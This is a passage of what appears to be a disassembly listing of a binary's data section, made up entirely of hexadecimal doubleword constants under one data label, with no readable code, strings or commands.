0E81505BEh, 6DA77820h, 5D9EF8B1h, 175ED366h dd 0D6E8B006h, 0E35F82C2h, 4F5C2401h, 68DD1826h, 0A230C3A2h dd 901D0F80h, 44BECC9Fh, 0DE449649h, 0D62F0CC9h, 0E5ED182h dd 0D5A3048h, 3A007DC4h, 2C6AFF6Dh, 5E2DA229h, 974F24B7h dd 0C5729449h, 2919D818h, 24957D9Fh, 7C5DD5AAh, 0F6DD0FC2h dd 5C727E5h, 76EB16DEh, 1ED897CDh, 68B89FE8h, 0FDE99E3h dd 55BAB80Dh, 0A14E779Bh, 3DD1F8C2h, 0AA299977h, 0B54E5834h dd 7E7C04C2h, 22DBA78h, 149FF28Bh, 423D7C4Dh, 451707Eh dd 0D6A9BB4Fh, 0EC143C08h, 0E6A00B6Fh, 0CA46771Ch, 41AC5272h dd 0E7929600h, 7910228Dh, 95D1C2FDh, 362DAB6Dh, 2764AB81h dd 0F32E06CDh, 4A8893F4h, 53827B1Bh, 1DD9E937h, 0C845763Ch dd 0BB997458h, 7A14515h, 0B620FB45h, 2BE24C17h, 594B5C9Dh dd 16750847h, 0E1941EE5h, 0F6D10A15h, 6E2F662Dh, 628D807Eh dd 8D7EDBAFh, 598D98Ah, 0A0650C58h, 9F05DDA9h, 0A1387C42h dd 87B4664Ch, 9A0551DDh, 45D3A92Eh, 94AB5354h, 69AD058Dh dd 0BCF1C1B3h, 0F3CE8A49h, 9F21A7CDh, 9A93F271h, 30C186B4h dd 6A8A17CEh, 84EBCC63h, 5BC52814h, 6036782Fh, 3A9DA446h dd 5D3BB31Dh, 0A8D92DCh, 9A0DF159h, 0B9CFC744h, 6FD43737h dd 33CA5D84h, 1704AE37h, 108BD0BFh, 5AF1BCCh, 170DA236h dd 0ABD7EE13h, 57118173h, 41BD6708h, 56FFA019h, 0D4558ECFh dd 0E62EFF89h, 7A6C1864h, 2CB99BD8h, 22D1BACBh, 3AC0A1D7h dd 0C6ABF4EFh, 3017A77Ch, 14ED654Eh, 0EB133A4Eh, 0A97FE17Dh dd 793E92BFh, 251D0C38h, 0A95D3ED0h, 9EA102D6h, 0A0771E05h dd 0EE8DABC4h, 40965433h, 54F9F6EFh, 94778991h, 5303BC52h dd 34809104h, 0E578E3D5h, 0E47DE336h, 0DAF88BCBh, 845BF559h dd 4DAAC7C7h, 0C9A1FDC3h, 0A7CA8E0h, 21795BF1h, 366BAC4Dh dd 0E50C0FE5h, 0DED656B4h, 442E871h, 0E8F137C1h, 9E980F9Ch dd 7BD43497h, 0E985AA71h, 0D1854DA2h, 0C985A849h, 0F8C97EDBh dd 552E367Eh, 7DFE0002h, 1DEA3B57h, 18854C51h, 0BD881315h dd 0CFECD86Dh, 47512CC6h, 0D8ED0C1Fh, 2839F627h, 91CCF891h dd 3648DF7Ah, 0AD9BEE4Bh, 2F87F861h, 5AE06698h, 0F8797AFh dd 9804A47Ch, 0FEF9EFA5h, 0E5C2D4B6h, 185DACDh, 371DD714h dd 91F39F33h, 0A7931522h, 44A7E3EFh, 8D8CBAECh, 0A5B39C43h dd 0F3B47863h, 886093Ah, 51D62E65h, 0F2F121CBh, 2E13115h dd 7F661CB2h, 86080570h, 733C4AD4h, 0CC85710Fh, 0C632F354h dd 5AC5AE05h, 0FA5B4038h, 61F389D6h, 3BEFFECh, 4F5DFE55h dd 6CD5F1FFh, 6FDDD374h, 6372AAACh, 19D88DBFh, 0F899420Fh dd 3EC88EA0h, 133568DAh, 14247D3Dh, 6D1786B0h, 87CCF5CFh dd 71FB26D3h, 652D220Ah, 62D178D2h, 8D8148C8h, 0A77B3F07h dd 0B11E7096h, 49093683h, 72140C23h, 0B1E61560h, 0B5C75DD8h dd 975EC90h, 961EC95Dh, 80D97862h, 2A72F304h, 62C7C1A8h dd 9A0EDDCAh, 480052Eh, 960CE32Ah, 1308500Eh, 0EB9BAE2Ah dd 60F295B7h, 0C4291361h, 3D089C48h, 0FB3CF2F8h, 0E98E592h dd 735D650Ch, 5DE30FE1h, 0A23C36DBh, 0AE892B3Ah, 83F6BCAFh dd 0A1569E4Ah, 0E17D7FF0h, 76C8CA5Ch, 5E9085FBh, 0BC2F3BA9h dd 0CBB000F5h, 0E0454364h, 0A0E712D0h, 3F65D306h, 0E4EC09ACh dd 0C167942Dh, 9F54CEE7h, 2B47BC99h, 58EA1040h, 0F4957FDEh dd 4F085B89h, 0FDD04D23h, 3B61425Eh, 982A5299h, 0DA6960CCh dd 5C97861Ah, 0E7FF2DAh, 67E94733h, 65D49D8Eh, 0A76CA0FFh dd 4C020F80h, 0D12ECA72h, 65D12D53h, 0F5388B75h, 3172032Eh dd 7625AF28h, 1262679Ch, 3EEFC5E8h, 0D5A1B1E9h, 2DF5AC6Ah dd 0A89379CBh, 0C5ADCD38h, 0BDB47AE0h, 207AEDDAh, 557BE7F2h dd 5C839654h, 0FE8CCEE3h, 0C9A3B1D8h, 92FCB052h, 0BFFEF704h dd 0CDBBDFD3h, 5C463F79h, 0C6CB1DEh, 0FE185EEAh, 0A040FD66h dd 4A353D09h, 66CD6CEFh, 5ECDCB24h, 496C527Fh, 643E317Dh dd 4CCD696Fh, 7C6EAFC3h, 4899C2C0h, 0C357F5CFh, 0E1BF1DB9h dd 6070661Eh, 57C37A87h, 0C436A3F1h, 62FADF89h, 49888F09h dd 0F35373FFh, 441B56C7h, 0BD4FADC2h, 41CFCD87h, 694D411Fh dd 3DE8F022h, 55CF6769h, 20E02032h, 0F19F6D13h, 0AD52921Ch dd 7F7E810Fh, 0B2647B9Bh, 2D294E15h, 7AAE714Dh, 0F325F9BCh dd 4A2AE4C9h, 0A619792h, 0D4319D86h, 0A602959h, 328A21D4h dd 0B58FAE58h, 20493A0Ah, 0BC9B2598h, 74A91BB2h, 1A2A7A54h dd 8DBF6D19h, 3A0ADD2Fh, 5AAB7264h, 73A61110h, 47F41FF9h dd 0DE39F7D1h, 0D4A35935h, 35DDFB10h, 84399C07h, 7058DD21h dd 3848F012h, 0AFE14A64h, 1EBF9853h, 0B186BD90h, 0EBE02FEh dd 0B7304BECh, 0DD1CD860h, 0B98125Fh, 184D034Ah, 2AC33DC1h dd 2C0EADBDh, 5A9F3617h, 0DD0C750Dh, 4D3AA33Eh, 174324B7h dd 0A156F31Bh, 9BEECC54h, 12959E57h, 8E294D63h, 0E8F4844Bh dd 240A9B7Ch, 46BB9E7Bh, 536A6212h, 33D615F6h, 269169ABh dd 53CFA128h, 5A23CDE8h, 0A4AE874Eh, 114D4EA4h, 7BB095A7h dd 0F5674AFEh, 9C7257F6h, 1A160630h, 0CE582A91h, 16646A72h dd 36FC0F92h, 0AFB0D46h, 0AEBCAB62h, 0DC4E3632h, 88C4C5ECh dd 5D1CA030h, 0E24D53BFh, 23532B77h, 1106CD07h, 1AD77C10h dd 0FCF7DC9h, 0C6A2EE7Eh, 4A469EDDh, 0AEBC7AAFh, 6C012E13h dd 4BC0069Ch, 7E2830DCh, 696F5B6Fh, 342753E7h, 422FE78h dd 361AC752h, 0F494B1F3h, 81716251h, 0F3C0AEA0h, 1265CE29h dd 0F7F7FBE0h, 0F962ADEBh, 0E48B42D4h, 42A3980Dh, 0A67E12A8h dd 546B0A2Ah, 0E4C9733Bh, 9AD04DD8h, 8CBCD6A9h, 11E1E385h dd 0CF002FB8h, 0F2A86F3Dh, 4A74638Ah, 927EF83Fh, 75D7E91h dd 1FBEFB5Bh, 46DB8738h, 91BCBE6Ch, 72CB6CD4h, 0AA9369Bh dd 1142EB6Ch, 0C6297140h, 0BE45755h, 11CF4FE2h, 0FD28BF1Ah dd 5E63D400h, 0FE90ECDFh, 1F22CA62h, 9AB96841h, 4D1D6166h dd 0B0AAD8DEh, 0CADCBE3Fh, 92A6AB81h, 0B0ACE690h, 0AF17F97Bh dd 2FD9C47Dh, 6FF00185h, 77ABC84Bh, 534BF1CAh, 0E31E0030h dd 46A521F4h, 0A12AA6A5h, 277CCE2Ch, 2C46321h, 8A91AFF1h dd 0C013E746h, 4B3BE9Fh, 854C7C9Fh, 52C87AFCh, 679A7B0Ah dd 928AB8A5h, 0A7104DF9h, 2CF2B31Dh, 554D7C3Ah, 8004BFAh dd 199F09C7h, 56675EF5h, 4B87538Bh, 0BB9DAFFBh, 0B54E8F44h dd 0E10B56D2h, 0E5EB1F69h, 64DD2E18h, 0DEA05C7h, 1410EF48h dd 0A5F3C4C0h, 0EA0EED90h, 0E5E36D06h, 4F2AA134h, 0F12493B9h dd 465D9B6h, 0C9FD8717h, 0E61E1C5Eh, 2B0C709Fh, 3349FFDh dd 652DC15Ah, 0C6A6A90Bh, 0AA0A5C2Eh, 0B0E0C20Ah, 516A3D8Ah dd 28DBB6D9h, 0D50C32Eh, 0D7D2DC73h, 5BB271E6h, 163F4E0Bh dd 78DBCF13h, 0ADE0C715h dd 69C2B72Eh, 937FF29Ah, 91A210E3h, 0B1AB2C9h, 7A96F19Eh dd 8916F2A8h, 839D85A0h, 2BE0D910h, 7B678C4Ch, 9D7D356h dd 0ACA3C1Bh, 7BC2BD2Dh, 0FD08BDFAh, 65C44674h, 0D5878BBh dd 0FA91AB82h, 65EAF711h, 4879F10Eh, 9B55E5EFh, 0B6A3CCh dd 9E704F58h, 39CCB54Dh, 2B24C339h, 82C69E02h, 0E1D5E3C5h dd 0CD106994h, 12E2FEA8h, 0D1103225h, 854A51D6h, 0EE022D31h dd 0A047AA47h, 55D7C077h, 5A934C2Bh, 21736893h, 6FA913BDh dd 973F0B91h, 1436FDF3h, 0DC6B149Eh, 8902621Eh, 80CF8C18h dd 3AF9B182h, 1651114Fh, 0FB888352h, 0E31C1DE6h, 1B0E55CFh dd 0CF4BAA9Ah, 19F7EFBDh, 0C312E58h, 0FBFAB761h, 69F91668h dd 27C770BEh, 0ED471816h, 84E745CEh, 91D6925Dh, 136AAFC7h dd 0B4B4A52Ch, 24394732h, 0B2D0AC1Bh, 900C8D06h, 0F8FDE876h dd 720D3DD0h, 2CA021F2h, 6B50ADB7h, 7C38243h, 54412A24h dd 0DDCB6D5Ch, 1762B4D8h, 23676FB1h, 0B46B4643h, 0C72A5692h dd 0B946AC44h, 0B850F192h, 0B686B65Eh, 0D467EA80h, 0F3C6F75h dd 33195FE7h, 10E45CBAh, 29FD1D61h, 2AD28D5Dh, 0A1EBB6FDh dd 3D3274DBh, 0B76507D4h, 0F16413E4h, 54D1DCEh, 0B132C2C5h dd 171DBCBAh, 0C31AE4AEh, 9DCB5E9Ch, 0C2EB5DACh, 0A0394058h dd 0D6738E26h, 0AB89631Bh, 0C16A762Fh, 0D041F38Ah, 48B4AC74h dd 0BE8DA676h, 0CD4AE2EBh, 0CD31B5F7h, 0D6727E5Bh, 3FC11F2Ch dd 2322ABCFh, 0E63258C6h, 98DD1D59h, 68E4D59Eh, 64AEC17Ch dd 91D01F70h, 1C3BC34Bh, 4DAE8F9Ch, 6B740B17h, 4A48DF93h dd 3E8091Eh, 0F264F19Dh, 462FD63Ah, 0F82B71A0h, 0BF2E77F9h dd 9FE7507Ch, 3C321EFCh, 2611FB91h, 5CE5EE0Fh, 0C6F381A9h dd 487BC182h, 0BF6F64C5h, 0ACFC1D22h, 683C0AE5h, 7233F9AAh dd 0D9F9B983h, 0A532E077h, 8D3D43DAh, 0B4859B21h, 49184B3Eh dd 9DFD0A34h, 4D92D38Eh, 0C9AA5ACFh, 8AFD7239h, 0D481981Fh dd 3A8FA2Bh, 0CF29CB54h, 1C3C6D14h, 68140A22h, 256117A1h dd 20C01921h, 0EB0293BEh, 5A2809C4h, 24D8A3FAh, 1081FF30h dd 7EC22C0Ch, 0B860A55Ch, 0E7D9668Eh, 0B48B7B1h, 32301563h dd 6D655A3Fh, 778955Fh, 0B201F61Eh, 24E3066h, 916BF85h dd 9ADB7C3Eh, 9E93118Fh, 0F58A1E33h, 0E6314336h, 821661FEh dd 0DD9C13C9h, 81B21691h, 5ACE2C0h, 0CAFED723h, 384BD36Dh dd 4B32A233h, 22A6196Dh, 322D9EF2h, 0B8CD163Ch, 0CC786019h dd 0B14BF626h, 3B0566A4h, 0A8E32E06h, 0DB680EB9h, 0F47D7252h dd 0E2DFA027h, 886CC17Ch, 0B45E8EE3h, 0E439DB7Fh, 0C3DE793Dh dd 9C75426h, 0E2681D10h, 0B38C95A0h, 1C9402A4h, 410C2C4Fh dd 7C374F3Dh, 327C7495h, 7BC38AD2h, 0C0F2BE47h, 0E708E0Dh dd 0A8126F5Bh, 0B32DBD60h, 0D9483A5Ah, 0D4C292CDh, 6DDC3493h dd 974C5361h, 0A19A973Ch, 0BC89B932h, 5EBBF702h, 0FCADE674h dd 0F8B8F66h, 27014B75h, 8380369h, 0C24A0463h, 67183C41h dd 81A213CCh, 71C38707h, 726DCC2Dh, 2B6AFF2Bh, 9BA51F53h dd 4CB1BD4h, 0DB6C713Ch, 2C924F68h, 3EF5C965h, 560A0455h dd 8892C862h, 5330C57h, 0B2CD963Fh, 2818D223h, 0D14E0DFDh dd 5A2104EDh, 17F4C6F3h, 0CAAEEF1Ah, 321348D4h, 34214E32h dd 0F7E6511Fh, 6BC751EBh, 0A79499A5h, 74A31545h, 0D34558D1h dd 48AF9FACh, 0FA776FAAh, 5E2C1F8Ah, 0B4053CCDh, 0BAA7ED62h dd 0BAD71620h, 0E9A57BDFh, 6D643B2Ah, 0D755D13Bh, 0E7D30112h dd 2FAF946Fh, 10437CC5h, 0D61852F0h, 959AAEDCh, 0B819F2Eh dd 390B1DCFh, 48CDDF47h, 97C35522h, 5F0518Eh, 4A047F8h dd 0F4875AABh, 222DB74Fh, 0CEAB6EEDh, 0EBE5B32Ch, 22C45072h dd 80DBD139h, 7E2B105Ah, 59248BF3h, 62263BE4h, 70764C64h dd 4AEDB891h, 0DF93533Ah, 9A4F7E1Dh, 0F3E657DAh, 76345041h dd 8A9F8BF5h, 0BC02619Bh, 56FE7233h, 6AA988AAh, 0F30809EDh dd 21501FD6h, 0C606B072h, 78CDE9Bh, 2010BFF3h, 29175FBFh dd 0CBB2F8EDh, 5AF1D141h, 4F116FA7h, 38E6332Bh, 1A9CB7F1h dd 0B1764B11h, 998EE8C3h, 3A6911FDh, 3A602578h, 4B70925Ah dd 22AD1002h, 0CDF2064Eh, 0BC8ACCBAh, 588528BCh, 61898610h dd 7E606708h, 0D64A75E1h, 4E9692AEh, 0F9C1FBD4h, 0E718E0CDh dd 54E77079h, 0DCADD42Eh, 62B60E93h, 6EF43652h, 62C247C5h dd 4CB14994h, 0B55189A4h, 2199C81Ah, 0D67DE927h, 0B524E90Ch dd 0AFB2E34Ah, 7F747F08h, 86C6417Eh, 21E9B960h, 531B9B38h dd 0BCBBD400h, 2C25C676h, 0BF595DF4h, 148A506Dh, 52DC3EA0h dd 93BE5C80h, 2E75E856h, 6C019E9Eh, 33656254h, 6EE8FFECh dd 61F6E37Fh, 3BDC609Bh, 573F8615h, 877877E3h, 0B3492E6Dh dd 2ADB09E3h, 3896B3DBh, 2AA5298Bh, 76A6BCBh, 0DD33BAF5h dd 7A431BACh, 0E4EB8FB1h, 0C7F39CAAh, 4405C30h, 43AF369Bh dd 0A8B0EA92h, 71D12234h, 156FCFDDh, 9775278Dh, 340483EBh dd 5735964Dh, 34BC22E0h, 7B212BB4h, 0C1E73F37h, 0FA88580h dd 0CDE45B55h, 4D8E0165h, 0C384F9F6h, 1E401B9Dh, 4834FBC2h dd 0E7DCE5B2h, 0A0119EB3h, 657F8505h, 500ED00Bh, 3B7FDFCEh dd 1C999EA0h, 96A3542Eh, 1C9DF9B1h, 0A0728456h, 0DCD16CA3h dd 0EAE4B589h, 5B330488h, 0CAB8D4ECh, 0F2F41007h, 0B6327C81h dd 986B8DC4h, 6600797Dh, 0AA106112h, 9B0E59E5h, 0D2C45EB5h dd 700F77E9h, 3867B37Dh, 26914235h, 0D0073A11h, 0C5A43FA7h dd 0A158503h, 678680C7h, 5374E34h, 0E68666B0h, 0BFB93058h dd 2F4FEDF8h, 0A24A49E1h, 839173EFh, 2996E0EDh, 0B249105Ah dd 576465DCh, 0D5EB5C11h, 9A15D466h, 98BC459Eh, 7A75EF52h dd 0AFE2AA29h, 0D23E295h, 0B0274CCEh, 0A8D48617h, 604B49A8h dd 87318DACh, 0A8BFD4C6h, 39264F72h, 0AF0ECD82h, 9CFA43F4h dd 7D06C4E5h, 5171B032h, 20603741h, 37BFA058h, 30DC9A7h dd 4A121588h, 0DDBA9400h, 4F4E8117h, 802863D4h, 6FB77F92h dd 0B037D290h, 81E72BEBh, 77E6333Bh, 0CC17B17Ah, 0B43138D2h dd 0ABAB571Fh, 58F08F3Eh, 42640B62h, 7D9E05A2h, 6A6409EDh dd 0B9E6254Eh, 0B517A3A3h, 0FDEB3213h, 38982BC3h, 5F3B3B47h dd 0EBB6748Fh, 35F21EFAh, 0E57625E5h, 9ED38DA3h, 66EA3E70h dd 0D184BB49h, 4831562Ah, 0DDBBF503h, 2AB19D3h, 0A7578E0Eh dd 0BAEFE53Dh, 0D431681h, 1CB63427h, 0EDADEC09h, 0A4E79BD1h dd 4ABC09AAh, 0DB262B3Ch, 0CE31637Fh, 0DB9BBAF5h, 0A3C8A6BFh dd 91370D1Ch, 98A3C7E1h, 1F8BF68Fh, 0A3402064h, 0BDC843F1h dd 0B6D8FF5Eh, 0D2D2342Eh, 0A8F6EA21h, 388DD19Dh, 124F7202h dd 6C453329h, 26F565D7h, 53835B95h, 44066C53h, 433E974Fh dd 98501F27h, 98253645h, 0EE13415Dh, 1B6E7975h, 736286D4h dd 0E5BDD5A0h, 2C3E8BB4h, 98869026h, 0DBB5BA59h, 9BA0790Dh dd 0C7C51F10h, 0BE038F34h, 0AD3011EAh, 1B9D81BBh, 45FD676Bh dd 0B05CE79Fh, 9D4846FEh, 2DF83BEFh, 3422EBEBh, 0BEC43213h dd 6094467Ch, 0B1996DBCh, 28168FAEh, 357E5F23h, 0C6CE2691h dd 93DD317Fh, 159B7A84h, 0E22B059Ah, 1B35C5F1h, 912B2F92h dd 34ACE270h, 457D5BA3h, 5BD3D389h, 2A9A8EE4h, 7EA521F7h dd 0C2C94555h, 1F8E0BA6h, 0AC557C89h, 9C3ACA31h, 148CD8BBh dd 22BE7F1Fh, 0DA94681Dh, 0FB88003Eh, 9A6F63CFh, 474CEE9h dd 538CE0ADh, 0B22EEEBEh, 0D65497CFh, 21EA029Dh, 0A8EAEF2h dd 1E7649B9h, 2224D7D0h dd 98FDFA22h, 159788EAh, 0EEEED5EFh, 0F98A067Ch, 49C4DCC6h dd 8BCBA952h, 0AEDF795h, 0EABB56F2h, 9AF01FCh, 0EF3D45FBh dd 5BD2D707h, 0B5A74DFBh, 4CE22CE5h, 76DB7CD1h, 18A91042h dd 73DE8C62h, 6F400C31h, 86CED154h, 4857DC43h, 57C13581h dd 2975E029h, 3F23130Fh, 8E4D1615h, 0CBC7FB25h, 0E45F53CFh dd 2D165CA8h, 0AB09955Ah, 0DD36BFA8h, 0CF0E7B06h, 4A615455h dd 5844421Fh, 2AFC85BAh, 8CEB7934h, 73C419h, 0A9A84528h dd 0D942E8E7h, 31632E80h, 41EE0B40h, 89D1980Bh, 295C58D1h dd 7BB24D94h, 0AA4CEF60h, 5EE1978Dh, 0BD368738h, 6AF587F7h dd 86D00ED9h, 40D6936h, 56C61168h, 0F7363A60h, 1106A2Fh dd 80A16592h, 0ECD6B386h, 0D65DDAC0h, 0E44FFA70h, 9A240312h dd 0CFD62482h, 36339EB1h, 0B8309C62h, 0BEC2DAECh, 699D7922h dd 39F611D7h, 21F3E870h, 0A0620140h, 1EF403B4h, 80A08482h dd 6AD38DACh, 8919A316h, 2350C55Fh, 7F7141CFh, 0B9B586F4h dd 1596B386h, 0EA0C6203h, 0E745C01Dh, 2D99BE14h, 52E1468Dh dd 0BFD447C6h, 63A3122h, 7ED253F8h, 0E5C2265Fh, 0CDD631F3h dd 6245EE40h, 15981F95h, 0C445DBF8h, 0B9877173h, 0FE13CE6Ch dd 34E75FCh, 75128492h, 0FFCA6CD7h, 2D721739h, 42536EC9h dd 2E73D0FCh, 67668D8h, 1DB94C3Fh, 0BDD3563Fh, 0B107D947h dd 2602E260h, 0E40C317h, 8480CE0h, 77174C4h, 688A2C81h dd 9A3433FEh, 0D582ABEAh, 0D65D5568h, 6BDD1B91h, 3691C9A4h dd 0A5D5B29Bh, 0DCC71DECh, 22CEC6C8h, 7FFF62F5h, 0ACA837Ch dd 0BEE79859h, 1779ED0Bh, 4533E441h, 0C1B1478Ah, 468B744Bh dd 0CA823A0Dh, 55B4BE8Bh, 733108C7h, 7CE0DCC3h, 0D91B810Ch dd 3E953175h, 0DB19F0Ch, 0F0F0CF9h, 61869DE5h, 0DD9E935Ah dd 479DE6A7h, 933FCFBBh, 34EC5C75h, 0BE0C18DDh, 0A017E3D5h dd 0E7B2B8A3h, 9C6874C1h, 0B4975A87h, 0A6DB192Ch, 4091369h dd 0CB2F51FEh, 6BFD27F8h, 8A8A8A68h, 2C668458h, 0DF9E5BE0h dd 5614263h, 0BA97EBFBh, 11D30181h, 3988C617h, 11BA00FEh dd 0F1126D80h, 0EE81795h, 75BFB4BEh, 0EF7DF79Ah, 0F0957B4Bh dd 0C9EE71CDh, 4932170Ch, 194BCF19h, 9417223h, 0E819A235h dd 0F4A9EF5Dh, 61FC9BF7h, 6CC6F6EAh, 5FEA0B5Ch, 0B022DCCCh dd 0FBFFC97Fh, 0DAC49556h, 44A7C905h, 0F368188Bh, 9A1A9302h dd 937498CEh, 75D4CC66h, 3A5437B9h, 0B5BDDB5h, 0C75938BCh dd 0E5B106B0h, 0D71C4FA3h, 1FC08EAEh, 0C9329E9Fh, 6F6056C9h dd 3082A13Fh, 5DFDCC9h, 0A50FEF6Ch, 13DA2E7Fh, 0D361516Dh dd 0DB176668h, 39E9678h, 0C6EC981h, 0BD746015h, 0E1E12292h dd 0CA25B64Dh, 3D6EFC07h, 7D66401Eh, 10CCE311h, 717B488h dd 9E5F275h, 4F0636D5h, 91C36AA9h, 6B6A326Ah, 2351EB79h dd 2AE380A0h, 3747D857h, 70D78B35h, 4A817FBBh, 6A99E242h dd 537E92F7h, 1CE4E0ECh, 8AC9D188h, 0AF3463D6h, 3EE2057Ah dd 9CF3A39Bh, 0B91CF572h, 7D3A09D3h, 0C5E6C7D7h, 3AF23C1Ah dd 15CCC158h, 0DA6A8760h, 35A36461h, 0BA30B68Eh, 3A768279h dd 7171DFA0h, 68A5F07h, 2A0F2890h, 0F7DF63F2h, 9F4C7AC0h dd 18E53245h, 0DBDEC1A0h, 320BFD46h, 17534F7h, 0EAEE2C1Bh dd 22D31559h, 0C4168CEDh, 5CC3BAFEh, 0B5105E9Dh, 56390F90h dd 5098143h, 1B17D489h, 7B5CA91Dh, 5228169Ah, 3173162Ch dd 928CCD29h, 0DA724AE8h, 1A5C5FA7h, 0D52BA520h, 6E023BD1h dd 0E80F2CAh, 0BB49140h, 0D9BFEEE8h, 0A3596427h, 0DBF40A5Bh dd 219DF8E4h, 5FEB7B60h, 7D2B5403h, 314FDD06h, 390D9DE0h dd 3D909EFEh, 0B93A9C41h, 965FA950h, 998CC69Fh, 15E3CB91h dd 55061C02h, 5C480E24h, 0B2069CB6h, 996DD930h, 0A3F11EA3h dd 5D559954h, 0E7348331h, 2E95F111h, 0F856FDDAh, 0DFA4D642h dd 0DD9EBDE9h, 116B1994h, 76FDEE54h, 76D08769h, 57816501h dd 0A2C3FACDh, 26887F72h, 0D4786AD5h, 6D595AB9h, 0D5518688h dd 2DD7010h, 305AA6AAh, 7115B9B0h, 6F10628Fh, 7A8DCFAEh dd 0A631923Fh, 474ABE14h, 0C7E94073h, 3AB55FE0h, 0C0192FDDh dd 0F1E27045h, 523013B1h, 0BD3EDC8Ch, 0F216824Ch, 8785EEFCh dd 4E0914EFh, 0C8360523h, 8BF71329h, 827E6830h, 0F2EEF79Ch dd 0A7B515CEh, 9945E913h, 3A1145DDh, 68237F9Fh, 7726999h dd 0C216C227h, 1C1F8E05h, 2544924Ch, 1C41A380h, 0DD54062Ch dd 6178E39Bh, 854E419Ah, 45A7E79Fh, 0F1422FBh, 7D32CCEBh dd 942EBD80h, 0DF7115ECh, 219A1782h, 1F97C786h, 0F995D3FCh dd 82269C6Eh, 4099C57Eh, 0C9198B97h, 46B2D32h, 6A197861h dd 0FF725C2Bh, 0D051C507h, 0F078DD91h, 0D82AA775h, 1B0C5159h dd 8A9D4667h, 85ACD147h, 129CA000h, 0E2B15DE2h, 4ABE3829h dd 515B8119h, 4C6023BCh, 0C4230B6Ah, 996BE757h, 3CE3C68Ah dd 0DE05818Bh, 0BD6AD9C1h, 0D87A03EAh, 3B4139D3h, 920ABC54h dd 1FA54DDBh, 0B486F480h, 25311FF8h, 4CAE3E24h, 1046A1FBh dd 4B40E3FBh, 0C35A7988h, 91F0ECC8h, 4FCC1141h, 60CEE9CCh dd 54C3CCDEh, 0C9F42298h, 0B451E35Dh, 747787FDh, 0F1CD5549h dd 965EEAFh, 0C7BDDE17h, 347F69CCh, 8B724C45h, 50D9D93Ah dd 57A1A90Dh, 7BF712E0h, 0BA2B1AF1h, 0B32AFDD4h, 65D9258h dd 24F33E31h, 2C27ADE8h, 1CDC026Dh, 0A29844DBh, 6AC8BF50h dd 0CD70F659h, 0D122122Fh, 0EC60CCB7h, 88F98103h, 2BA2E815h dd 0D21CA34Eh, 0AA36C88Ah, 67B1AE85h, 0B6B4F02Ah, 4F47F0A6h dd 0FCBE4D71h, 13A092BFh, 431FC76Dh, 0A846ED44h, 0A49A2403h dd 565752Eh, 8AF8F7CBh, 106A32AFh, 0BB83E42h, 0B21E8618h dd 84AF9449h, 0E15E7A77h, 0B80FE3Bh, 76846867h, 640F5DF6h dd 66268FDh, 9E5E8E20h, 0A0EB953Bh, 0D2E13EF6h, 59B2AFDBh dd 3A422D67h, 93D71C1Bh, 0F843BEBEh, 19261B57h, 3F7E3308h dd 0E1B95520h, 727CB7E2h, 0C5577D27h, 0FE77FCB5h, 19E08D89h dd 0C566DC5Fh, 91CF5F98h, 0BC5689BDh, 9D4B606Ch, 0FCEBE0E2h dd 99255BB9h, 0E685B9Ch, 98B58CB4h, 983EB2E3h, 8AE6AA07h dd 4F760BB4h, 0DE896ED9h, 20020B42h, 8B6D55FCh, 0F7212908h dd 0FD546993h, 43792BF7h, 4EABC3B5h, 0CCA19548h, 2287C622h dd 5583AAA3h, 860F3EB6h, 22AD4224h, 0FA500752h, 4307CC3Ch dd 55A01FF6h, 0D2886C8Ch, 9F99656Fh, 7B61D738h, 9818E285h dd 0AD63DACh, 0ACCC7398h, 6AE6B0B7h, 6F6F1A33h, 0C6B01FB8h dd 8E9DFCBFh, 0D7E810E1h, 82C26EFCh, 0D2983308h, 5B544229h dd 7BE1E6BFh, 0BD08A570h, 24C039E0h, 977480E9h, 3674BFF6h dd 0D938F1CBh, 76428524h, 0DD9333EAh, 1B5DEFA2h, 15AED810h dd 5B334476h, 0B3FD0BDBh, 0D72669A2h, 3B6AFC63h, 96589441h dd 37A1962Eh, 0C7B155A2h, 0F814BC02h, 0AFB5B76Bh, 0E7FA5F4Eh dd 35B458A3h, 5DBBCA60h, 31778B13h, 1B662F9h, 0C2BDBED6h dd 0E32172CCh, 0E8DB2A7Ch, 94742688h, 5A3C022Bh, 4B57754Ch dd 99760055h, 0F10896FEh, 0F6EDAECBh, 3FDEBB80h, 0BF193C55h dd 91317B78h, 6F17E38Ch, 0D68C9698h, 69CF8C07h, 0B7186AE5h dd 3511C726h, 7BF7E3CBh, 0E767DF67h, 189AE615h, 0D4462F92h dd 4D251670h, 22945895h, 17E31737h, 79C00792h, 1B5C5240h dd 6A493493h, 41878518h, 0B797B118h, 3501C499h, 0FE5C1A3Bh dd 2A8B28BAh, 0DFDC8DE4h, 0B55A65F4h, 4AE32028h, 54A984ADh dd 0F9B6437Bh, 0FE2AFC9Fh dword_3D7000 dd 0A64D3515h, 23A517h, 7693AE34h, 0A857CF7h, 9C888FDEh dd 0C261112Fh, 0D3064C2Ah, 0C72FDBFDh, 68153303h, 80EE1F4h dd 0C846A8DAh, 29733643h, 341A5289h, 67FBB07Fh, 7BDF4598h dd 1F417BB3h, 0CA8186EEh, 3F35C05Dh, 0CA496027h, 0D70D693Dh dd 77D153F9h, 4733B755h, 8CFA4E64h, 8980ECDAh, 0DE34AC9Ch dd 0DD1AC932h, 0E83137F4h, 6E667774h, 10C66619h, 30845386h dd 0BDF0A5AAh, 0FFEB192Ah, 0E87FD9AEh, 6AD1E045h, 0B6FDD2D8h dd 5BAE43D7h, 54DB6EEh, 991EFA30h, 0C7028398h, 6DECDF42h dd 4B4451E0h, 68CBC344h, 0B2C18C02h, 2FAE69B6h, 0E0B24B3Fh dd 0A9B1CF02h, 14F81B31h, 0EBFA225Ch, 4AC97CF8h, 0B68D0DB3h dd 0F861EE2Ah, 0ED76367h, 2FA72591h, 0E8D40F2Eh, 8313F24Ch dd 0C8983842h, 80777242h, 35FDE8A7h, 6FCF6DA3h, 99DA9A79h dd 0FDA24354h, 0F638B7E6h, 2AC32EF2h, 0B6486002h, 0C369E505h dd 30B74E85h, 94B91E59h, 99645EA1h, 0F459C751h, 0E7B16A12h dd 4D3006A1h, 33FF7A2Ch, 0C4C3CDD9h, 85DDAE56h, 441582EEh dd 8CB9E58Bh, 281EB9DCh, 0E9FD0F2Bh, 0F8CFD892h, 0B2F94EB4h dd 6BE40946h, 0CD439D84h, 0EF71D42Bh, 4855D7DAh, 1C890EA1h dd 0E7011F33h, 0D7CB08BBh, 41387ABh, 0D745C20h, 0C2A6C43Fh dd 0DDAF3CA2h, 1CE6A7A5h, 65E171E6h, 5B43474Ch, 750E1F6Eh dd 4767106Bh, 0ADE2D01Eh, 0B2775BD0h, 252025h, 428EA9DDh dd 